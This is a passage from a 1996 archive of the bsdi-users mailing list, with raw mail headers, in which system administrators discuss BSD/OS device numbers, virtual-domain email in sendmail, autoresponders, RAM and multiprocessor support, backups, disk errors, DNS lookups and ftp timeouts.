(EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id XAA26174 for bsdi-users-outgoing; Sat, 9 Nov 1996 23:35:32 -0500 (EST) Message-Id: <199611100429.UAA05540@webb-home.chelmsford.telebit.com> Precedence: bulk From: Bill Webb Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM, remark@producer.com Subject: Re: Question for the BSD gurus Date: Sat, 9 Nov 1996 20:29:51 -0800 (PST) > > Hi all. We have been running BSD for about a year and a half now and I am > slowing trying to learn AIX. Although there are a lot of similarities, > there are also a lot of differences. > In AIX (and maybe other flavours of Unix?), the device drivers living in > the /dev directory have a couple of numbers associated to each filename > (major and minor numbers). Ok, I can handle that. > However, in the BSD 2.1 that we have, there are 3 numbers associated with > it. I don't understand what this 3rd number means. Can anyone shed some > light on this subject. Thanks. > To quote the mknod man page: minor The minor device number tells the kernel which unit and/or sub- unit the node corresponds to on the device. It may be further subdivided into a unit and subunit. For example, there might be a single minor value specifying a tty line, or the unit might spec- ify a disk unit number (a single drive) with the subunit being a partition on that drive. Basically the 3rd number is the subunit, which used to be part of the minor device number (both used to be in a single 8-bit quantity). That become too restrictive so the single byte has been expanded into two fields. I'm not sure how big each is, but it does allow for more devices and partitions on a unit. AIX (for once) uses the "standard" Unix mechanism, BSD has branched off from the origin Unix design. Bill Webb. Telebit NetBlazer Software Development Group Email: webb@telebit.com WWW: http://www.telebit.com/~webb -- above opinions are my own, not necessarily those of my employer -- From VM Sun Nov 10 15:05:54 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2044" "Sun" "10" "November" "1996" "07:54:54" "-0500" "Ralph Huntington" "bsdi@mohawk.net" nil "58" "RE: Virtual Domain Email" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id IAA19224 for ; Sun, 10 Nov 1996 08:11:24 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id HAA28350 for bsdi-users-outgoing; Sun, 10 Nov 1996 07:57:46 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Ralph Huntington Sender: owner-bsdi-users@lists.gateway.com To: Nazih Chamtie cc: Jeffrey J Libman , "bsdi-users@BSDI.COM" , "'Chris McGlasson'" Subject: RE: Virtual Domain Email Date: Sun, 10 Nov 1996 07:54:54 -0500 (EST) > > > yes, it is necessary to configure sendmail.cf. > > > > No, it is not. I've been running virtual domain for years > > Yes it is necessary... The guy wants his virtual domain owners > to be able to send email and recieve email using their domain > name and not the ISP's domain name. In order to do that you > have to add some rules in the sendmail.cf and keep a databse > of the user of the domains etc. No, it's not necessary if all you want to do is receive mail for joe@virtual.domain and have it delivered to joe@isp.domain Joe can use his domain name to receive mail. There is only one namespace however so any mail received at virtual.domain is simply delivered to the username as if it had been sent to isp.domain instead. However, if you want 'shared namespace' so that you can separately deliver things like info@virtual1.domain info@virtual2.domain info@isp.domain so that they are delivered to different mailboxes, then you have to either hack sendmail.cf or use some other scheme like bsdi's mailroom. > > > http://www.sinbad.wantabe.com/virtualmail This is not bad, but everyone with bsd/os should look at two methods fully explained in the bsd/os 2.1 release notes. 1. Shared E-mail Namespace, p. 116 Employs the slocal(1) command to cause mail to a single username in each of the various domains to be distributed appropriately, i.e., to different users. 2. Unique E-mail Namespace, p. 118 Involves changes to /etc/sendmail.cf allowing fine-tuned distribution of mail for virtual (or other, real) domains. Just to recap: If all you need to do is cause all mail addressed to user@virtual.domain to be delivered to user@isp.domain then all that is needed is the entry for virtual.domain in /etc/sendmail.cw and to restart sendmail. Try it. You'll see. If, however, you need more control over how mail for virtual (or other, real) domains is handled, then you should check out one of the above methods or one of the several others that have been referenced here. - Ralph From VM Sun Nov 10 15:06:03 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["526" "Sun" "10" "November" "1996" "09:55:27" "-0700" "Jim Hribnak" "hribnak@nucleus.com" nil "16" "RE: Virtual Domain Email" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA25213 for ; Sun, 10 Nov 1996 12:06:15 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA28507 for bsdi-users-outgoing; Sun, 10 Nov 1996 11:56:59 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jim Hribnak Sender: owner-bsdi-users@lists.gateway.com To: Ralph Huntington cc: Nazih Chamtie , Jeffrey J Libman , "bsdi-users@BSDI.COM" , "'Chris McGlasson'" Subject: RE: Virtual Domain Email Date: Sun, 10 Nov 1996 09:55:27 -0700 (MST) All I do for virtuak Email is create a line in sendmail.cf (Cw virtualdomain.com) Since we have nearly a class C dedicated to virtual web, mail, ftp etc doing that database is a royal pain in the butt!!! this way if a virtual domain adds a nother dialup I dont have to add yet another person to the database.. I have been running this way for 2 years minimum! and it works just add 1 line to the sendmail.cf re-start sendmail and its done (provided you have the virtual domain setup on your network card already) jim From VM Sun Nov 10 15:06:07 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["320" "Sun" "10" "November" "1996" "12:57:34" "-0500" "jimtoro@hoflink.com" "jimtoro@hoflink.com" nil "11" "preferred auto responder" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA26591 for ; Sun, 10 Nov 1996 12:58:14 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA28558 for bsdi-users-outgoing; Sun, 10 Nov 1996 12:47:27 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: jimtoro@hoflink.com Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: preferred auto responder Date: Sun, 10 Nov 1996 12:57:34 -0500 (EST) Is there a preferred program/server to use as an AutoResponder for BSDI 2.1? . I want to setup something to send out small (<25k) texts for my users via an autoresponder. I dont want to replace any existing software if I dont have to, I would prefer to add something instead, but dont know what. thanks for any help From VM Sun Nov 10 15:06:09 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["109" "Sun" "10" "November" "1996" "14:22:35" "-0400" "Jeff Campbell" "jacampbe@is2.dal.ca" nil "9" "Can BSD/OS 3.0 address more then 256MB RAM?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA27682 for ; Sun, 10 Nov 1996 13:36:23 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA28604 for bsdi-users-outgoing; Sun, 10 Nov 1996 13:22:58 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jeff Campbell Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Can BSD/OS 3.0 address more then 256MB RAM? Date: Sun, 10 Nov 1996 14:22:35 -0400 (AST) Does anyone know if 3.0 has the facility to address more than 256MB of RAM? -- Jeff jacampbe@is2.dal.ca From VM Sun Nov 10 15:06:15 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["838" "Sun" "10" "November" "1996" "11:25:24" "-0800" "Jim Dawson" "jdawson@navi.net" nil "23" "Re: preferred auto responder" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA29358 for ; Sun, 10 Nov 1996 14:40:36 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA28665 for bsdi-users-outgoing; Sun, 10 Nov 1996 14:25:54 -0500 (EST) X-Sender: jdawson@dnacom.com In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jim Dawson Sender: owner-bsdi-users@lists.gateway.com To: jimtoro@hoflink.com cc: bsdi-users@BSDI.COM Subject: Re: preferred auto responder Date: Sun, 10 Nov 1996 11:25:24 -0800 (PST) man vacation The message that you return can be anything. Jim On Sun, 10 Nov 1996 jimtoro@hoflink.com wrote: > Is there a preferred program/server to use as an AutoResponder for BSDI > 2.1? > . > I want to setup something to send out small (<25k) texts for my users > via an autoresponder. I dont want to replace any existing software if I > dont have to, I would prefer to add something instead, but dont know what. __________________________________________________________________ Jim Dawson jdawson@navi.net GCN Communications, Inc. http://www.navi.net 2305 NW Kearney St. Ste. 239 voice: +1.503.531.1978 Portland, Or 97210 USA fax: +1.503.531.1979 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From VM Tue Nov 12 00:11:31 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["728" "Sun" "10" "November" "1996" "12:05:43" "-0800" "Devon Lazarus" "devonl@digitalthink.com" nil "27" "[Q]: Amanda.conf" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA01125 for ; Sun, 10 Nov 1996 15:37:27 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA28744 for bsdi-users-outgoing; Sun, 10 Nov 1996 15:14:38 -0500 (EST) Message-ID: <32863597.FF6D5DF@digitalthink.com> Organization: DigitalThink X-Mailer: Mozilla 3.01 (X11; I; BSD/OS 2.0 i386) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: Devon Lazarus Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: [Q]: Amanda.conf Date: Sun, 10 Nov 1996 12:05:43 -0800 i have been trying to set up amanda to back up our systems and am having trouble getting the program to read my conf files. i have them set up in the correct dorectories (/etc/amanda/daily/amanda.conf) but am unsure of the format of these conf files. i have tried: org:DigitalThink, Inc. org DigitalThink, Inc. org DigitalThink,Inc. as the typical setting/parameter pair but for somereason it just does not read it. wuold someone be interested in sending me a sample conf file? thanks in adnvance. -d -- |----------------------------------------| | Devon Lazarus Technology Group | | DigitalThink | | www.digitalthink.com coming November 1 | |----------------------------------------| From VM Tue Nov 12 00:11:32 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["737" "Sun" "10" "November" "1996" "15:31:15" "-0500" "jimtoro@hoflink.com" "jimtoro@hoflink.com" nil "26" "Re: preferred auto responder" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA01130 for ; Sun, 10 Nov 1996 15:40:57 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA28756 for bsdi-users-outgoing; Sun, 10 Nov 1996 15:21:15 -0500 (EST) Reply-To: jimtoro@hoflink.com In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: jimtoro@hoflink.com Sender: owner-bsdi-users@lists.gateway.com To: Jim Dawson cc: bsdi-users@BSDI.COM Subject: Re: preferred auto responder Date: Sun, 10 Nov 1996 15:31:15 -0500 (EST) But I dont want to create a vacation file for them, I want them to keep getting mail. If you are suggesting I create a whole new account and then put a vacation file for it, then thats too much setup for the 100 or so responder files I need. On Sun, 10 Nov 1996, Jim Dawson wrote: > man vacation > > The message that you return can be anything. > > Jim > > On Sun, 10 Nov 1996 jimtoro@hoflink.com wrote: > > > Is there a preferred program/server to use as an AutoResponder for BSDI > > 2.1? > > . > > I want to setup something to send out small (<25k) texts for my users > > via an autoresponder. I dont want to replace any existing software if I > > dont have to, I would prefer to add something instead, but dont know what. From VM Tue Nov 12 00:11:33 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["184" "Sun" "10" "November" "1996" "13:36:31" "-0700" "The Doctor" "doctor@doctor.nl2k.edmonton.ab.ca" nil "13" "Re: Can BSD/OS 3.0 address more then 256MB RAM?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA01410 for ; Sun, 10 Nov 1996 15:46:59 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA28776 for bsdi-users-outgoing; Sun, 10 Nov 1996 15:28:42 -0500 (EST) Message-Id: <199611102036.NAA20828@doctor.nl2k.edmonton.ab.ca> In-Reply-To: from "Jeff Campbell" at Nov 10, 96 02:22:35 pm X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: The Doctor Sender: owner-bsdi-users@lists.gateway.com To: jacampbe@is2.dal.ca (Jeff Campbell) Cc: bsdi-users@BSDI.COM Subject: Re: Can BSD/OS 3.0 address more then 256MB RAM? Date: Sun, 10 Nov 1996 13:36:31 -0700 (MST) > > > Does anyone know if 3.0 has the facility to address more than > 256MB of RAM? > > -- > Jeff > jacampbe@is2.dal.ca > > According to Boardwatch Magazine, it is NO problem! From VM Tue Nov 12 00:11:34 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["207" "Sun" "10" "November" "1996" "15:31:40" "-0500" "Stephen Frost" "sfrost@user2.mnsinc.com" nil "14" "Re: Can BSD/OS 3.0 address more then 256MB RAM?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA01413 for ; Sun, 10 Nov 1996 15:47:03 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA28787 for bsdi-users-outgoing; Sun, 10 Nov 1996 15:37:25 -0500 (EST) Message-Id: <199611102031.PAA09977@user2.mnsinc.com> In-Reply-To: from "Jeff Campbell" at Nov 10, 96 02:22:35 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Precedence: bulk From: Stephen Frost Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: Can BSD/OS 3.0 address more then 256MB RAM? Date: Sun, 10 Nov 1996 15:31:40 -0500 (EST) > > > Does anyone know if 3.0 has the facility to address more than > 256MB of RAM? > > -- > Jeff > jacampbe@is2.dal.ca > > When is 3.0 comeing out, and can it handle multiple processors? Stephen From VM Tue Nov 12 00:11:37 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["283" "Sun" "10" "November" "1996" "16:56:40" "-0400" "Jeff Campbell" "jacampbe@is2.dal.ca" nil "18" "Re: Can BSD/OS 3.0 address more then 256MB RAM?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA01704 for ; Sun, 10 Nov 1996 16:04:51 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA28804 for bsdi-users-outgoing; Sun, 10 Nov 1996 15:56:53 -0500 (EST) In-Reply-To: <199611102036.NAA20828@doctor.nl2k.edmonton.ab.ca> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jeff Campbell Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: Can BSD/OS 3.0 address more then 256MB RAM? Date: Sun, 10 Nov 1996 16:56:40 -0400 (AST) On Sun, 10 Nov 1996, The Doctor wrote: > > > > > > Does anyone know if 3.0 has the facility to address more than > > 256MB of RAM? > > According to Boardwatch Magazine, it is NO problem! > Any idea how much they were running in their machine? -- Jeff jacampbe@is2.dal.ca From VM Tue Nov 12 00:12:01 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["360" "Sun" "10" "November" "1996" "16:11:01" "-0800" "Lou Katz" "lou@metron.com" nil "12" "Hard errors on IDE drive" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA06936 for ; Sun, 10 Nov 1996 19:15:28 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id TAA29090 for bsdi-users-outgoing; Sun, 10 Nov 1996 19:11:20 -0500 (EST) Message-Id: <199611110011.QAA24538@orange.metron.com> In-Reply-To: from "Jeff Campbell" at Nov 10, 96 04:56:40 pm X-Mailer: ELM [version 2.4 PL24 PGP3 *ALPHA*] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: Lou Katz Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Hard errors on IDE drive Date: Sun, 10 Nov 1996 16:11:01 -0800 (PST) I have started to get hard errors on one of my IDE drives: Nov 10 15:59:03 orange kernel: wd2g: hard error reading fsbn 1961634 of 1961632- 1961663 (wd2 bn 4084610; cn 4052 tn 3 sn 5) status 59 erro r 40 Is it trying to access a block which is physically way out there? Is there anything I can do about these? -=[Lou Katz]=- From VM Tue Nov 12 00:12:02 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["727" "Mon" "11" "November" "1996" "11:06:30" "+1100" "Dinesh Pullat" "dinesh@newsnet.com.au" nil "20" "BIND 4.9.3-P1 nslookup problem." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA06945 for ; Sun, 10 Nov 1996 19:18:11 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id TAA29101 for bsdi-users-outgoing; Sun, 10 Nov 1996 19:19:44 -0500 (EST) Message-Id: <9611110006.AA17888@Sol.> X-Sun-Charset: US-ASCII Precedence: bulk From: dinesh@newsnet.com.au (Dinesh Pullat) Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@lists.gateway.com Subject: BIND 4.9.3-P1 nslookup problem. Date: Mon, 11 Nov 1996 11:06:30 +1100 On a 2.1 box (BIND 4.9.3-P1), nslookup on zephyr.grace.cri.nz gives me 131.203.1.5 but, a reverse lookup on the same address gives me 131.203.1.202 Now, on a name server running on a Solaris 2.5 box, for zephyr.grace.cri.nz, I get 131.203.1.202 and reverse lookup is the same. And, for 131.203.1.5 I get ns1.comnet.co.nz (which I guess is right). Now, does this mean there's something wrong with the named on 2.1 box? Pointers/help welcome. Dinesh Pullat (dinesh@newsnet.com.au)_______________________ Newsnet ITN Ltd. voice: +61 2 9552 4699 (W) 100 Harris Street +61 2 9560 5042 (H) Pyrmont, NSW 2009 fax: +61 2 9552 1132 (W) Australia._________PGP public key available_________________ From VM Tue Nov 12 00:12:06 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1562" "Sun" "10" "November" "1996" "20:11:45" "-0500" "Roch Pageau" "rpageau@inexpress.net" nil "40" "ftp problems" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA08573 for ; Sun, 10 Nov 1996 20:21:57 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id UAA29144 for bsdi-users-outgoing; Sun, 10 Nov 1996 20:14:59 -0500 (EST) Message-Id: <1.5.4.32.19961111011145.008af194@204.101.127.2> X-Sender: rpageau@204.101.127.2 X-Mailer: Windows Eudora Light Version 1.5.4 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Roch Pageau Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: ftp problems Date: Sun, 10 Nov 1996 20:11:45 -0500 Our customers seem to be having problems downloading files from our ftp site. The connection seems to work ok, it downloads 60-70-90% of the file and tehn just stalls. When this happens you open Eudora or telnet and cannot make any connections to our box, must disconnect and start over. The ftp log looks ok: Nov 6 20:47:50 Vector ftpd[1426]: User jhardy timed out after 900 seconds at We d Nov 6 20:47:50 1996 Nov 6 21:40:55 Vector ftpd[2402]: User jhardy timed out after 900 seconds at We d Nov 6 21:40:55 1996 Nov 6 22:12:53 Vector ftpd[2927]: User ftp timed out after 900 seconds at Wed N ov 6 22:12:53 1996 Nov 6 22:50:56 Vector ftpd[3587]: User ebm timed out after 900 seconds at Wed N ov 6 22:50:56 1996 Nov 7 01:53:13 Vector ftpd[5047]: User denisp18 timed out after 900 seconds at Thu Nov 7 01:53:13 1996 Nov 7 15:41:38 Vector ftpd[20992]: User dgbinv timed out after 900 seconds at T hu Nov 7 15:41:38 1996 Nov 7 23:01:42 Vector ftpd[2415]: User jhardy timed out after 900 seconds at Th u Nov 7 23:01:42 1996 Nov 8 00:59:25 Vector ftpd[3928]: User jhardy timed out after 900 seconds at Fr i Nov 8 00:59:25 1996 Nov 8 01:07:03 Vector ftpd[3989]: User ftp timed out after 900 seconds at Fri N ov 8 01:07:03 1996 Nov 8 05:23:01 Vector ftpd[14342]: User ftp timed out after 900 seconds at Fri Nov 8 05:23:01 1996 Nov 8 12:14:03 Vector ftpd[962]: User ftp timed out after 900 seconds at Fri No v 8 12:14:03 1996 Why is it timing out after 900 seconds, did I set this up somewhere ???? Any ideas appreciated????? Thanks Roch From VM Tue Nov 12 00:12:07 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["994" "Sun" "10" "November" "1996" "20:24:07" "-0500" "Andrew Silliker" "silliker@cynical.net" nil "40" "Re: preferred auto responder" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA08844 for ; Sun, 10 Nov 1996 20:30:17 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id UAA29171 for bsdi-users-outgoing; Sun, 10 Nov 1996 20:31:25 -0500 (EST) Message-Id: <3.0.32.19961110202403.00730c58@winston.cynical.net> X-Sender: silliker@winston.cynical.net X-Mailer: Windows Eudora Pro Version 3.0 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Andrew Silliker Sender: owner-bsdi-users@lists.gateway.com To: jimtoro@hoflink.com Cc: bsdi-users@BSDI.COM Subject: Re: preferred auto responder Date: Sun, 10 Nov 1996 20:24:07 -0500 Uh. 'man vacation' *gives* an example that autoresponds *and* keeps mail for the user. Perhaps you should take a glance at it. At 03:31 PM 11/10/96 -0500, you wrote: > >But I dont want to create a vacation file for them, I want them to keep >getting mail. If you are suggesting I create a whole new account and then >put a vacation file for it, then thats too much setup for the 100 or so >responder files I need. > > >On Sun, 10 Nov 1996, Jim Dawson wrote: > >> man vacation >> >> The message that you return can be anything. >> >> Jim >> >> On Sun, 10 Nov 1996 jimtoro@hoflink.com wrote: >> >> > Is there a preferred program/server to use as an AutoResponder for BSDI >> > 2.1? >> > . >> > I want to setup something to send out small (<25k) texts for my users >> > via an autoresponder. I dont want to replace any existing software if I >> > dont have to, I would prefer to add something instead, but dont know what. > > > > --- Andrew Silliker Cynical Networks silliker@cynical.net From VM Tue Nov 12 00:12:10 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["608" "Sun" "10" "November" "1996" "21:05:59" "-0500" "jimtoro@hoflink.com" "jimtoro@hoflink.com" nil "21" "Re: preferred auto responder" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA09672 for ; Sun, 10 Nov 1996 21:00:12 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id UAA29198 for bsdi-users-outgoing; Sun, 10 Nov 1996 20:55:55 -0500 (EST) Reply-To: jimtoro@hoflink.com In-Reply-To: <3.0.32.19961110202403.00730c58@winston.cynical.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: jimtoro@hoflink.com Sender: owner-bsdi-users@lists.gateway.com To: Andrew Silliker cc: bsdi-users@BSDI.COM Subject: Re: preferred auto responder Date: Sun, 10 Nov 1996 21:05:59 -0500 (EST) Perhaps if you READ the whole thing you would see what a pain in the ass this program is to explain to newbies and that it doesnt just send a simple text, you have to format the file like a message. I want something that they can create a text in their directory but I control everything else so that I dont get 100 calls a day from people who screw up .forward or dont init the .db or dont format the .msg file. On Sun, 10 Nov 1996, Andrew Silliker wrote: > > Uh. 'man vacation' *gives* an example that autoresponds *and* keeps mail > for the user. > > Perhaps you should take a glance at it. > From VM Tue Nov 12 00:12:26 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["847" "" "10" "November" "1996" "23:13:06" "-0500" "Jason R. Mastaler" "jason@mastaler.com" nil "21" "Re: Can BSD/OS 3.0 address more then 256MB RAM?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA13243 for ; Sun, 10 Nov 1996 23:20:31 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id XAA29376 for bsdi-users-outgoing; Sun, 10 Nov 1996 23:13:28 -0500 (EST) References: <199611102031.PAA09977@user2.mnsinc.com> In-Reply-To: Stephen Frost's message of Sun, 10 Nov 1996 15:31:40 -0500 (EST) Message-ID: Lines: 20 X-Mailer: Red Gnus v0.53/XEmacs 19.14 Precedence: bulk From: jason@mastaler.com (Jason R. Mastaler) Sender: owner-bsdi-users@lists.gateway.com To: Stephen Frost cc: bsdi-users@BSDI.COM Subject: Re: Can BSD/OS 3.0 address more then 256MB RAM? Date: 10 Nov 1996 23:13:06 -0500 Stephen Frost writes: > When is 3.0 comeing out, and can it handle multiple processors? No, it won't be able to handle multiple processors. o Work In Progress: While we're at it, here is a short run down of some of the work in progress for future releases. Both the SPARC and PowerPC ports are well underway. Both ports are targeted at the "embedded" systems market. If you're interested in using either of these ports in an "embedded" product please contact Randy Brem, VP of Embedded Systems Sales, at +1 408.842.9020. On the MP front we have a "giant lock" kernel running on dual Pentiums in our lab. MP development is one of the main priorities for the next year. Development of an NFS lock manager is also a high priority. From VM Tue Nov 12 00:12:30 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["792" "Mon" "11" "November" "1996" "15:59:57" "+1100" "Dinesh Pullat" "dinesh@newsnet.com.au" nil "19" "Re: BIND 4.9.3-P1 nslookup problem." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id AAA14868 for ; Mon, 11 Nov 1996 00:20:19 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id AAA29444 for bsdi-users-outgoing; Mon, 11 Nov 1996 00:12:43 -0500 (EST) Message-Id: <9611110459.AA18491@Sol.> X-Sun-Charset: US-ASCII Precedence: bulk From: dinesh@newsnet.com.au (Dinesh Pullat) Sender: owner-bsdi-users@lists.gateway.com To: blast@broder.com Cc: bsdi-users@lists.gateway.com Subject: Re: BIND 4.9.3-P1 nslookup problem. Date: Mon, 11 Nov 1996 15:59:57 +1100 Tim, Well, both the boxes (2.1 BSDI and Solaris 2.5) are running as primary name servers (they are boxes in entirely separate domains though). What I was wondering is why do I get an A record for zephyr.grace.cri.nz as 131.203.1.202 on the Solaris (I dunno the BIND ver on it) which I guess is correct. And 131.203.1.5 on the BSDI 2.1 box (BIND 4.9.3-P1). However, this is the first time I've got it in since moving to 2.1 BSDI. ALso, it resolves perfectly otherwise and has been doing so for 6months now! Dinesh Pullat (dinesh@newsnet.com.au)_______________________ Newsnet ITN Ltd. voice: +61 2 9552 4699 (W) 100 Harris Street +61 2 9560 5042 (H) Pyrmont, NSW 2009 fax: +61 2 9552 1132 (W) Australia._________PGP public key available_________________ From VM Tue Nov 12 00:12:39 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["563" "Mon" "11" "November" "1996" "01:24:45" "-0500" "Brian Hess" "brian@usaor.net" nil "19" "RADIUS & BSDI" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id BAA16795 for ; Mon, 11 Nov 1996 01:33:06 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id BAA29524 for bsdi-users-outgoing; Mon, 11 Nov 1996 01:25:36 -0500 (EST) Message-ID: X-X-Sender: brian@gate.usaor.net MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Brian Hess Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: RADIUS & BSDI Date: Mon, 11 Nov 1996 01:24:45 -0500 () I just upgraded to radius 2.0 on my BSDI 2.1 server and I am trying to implent using the 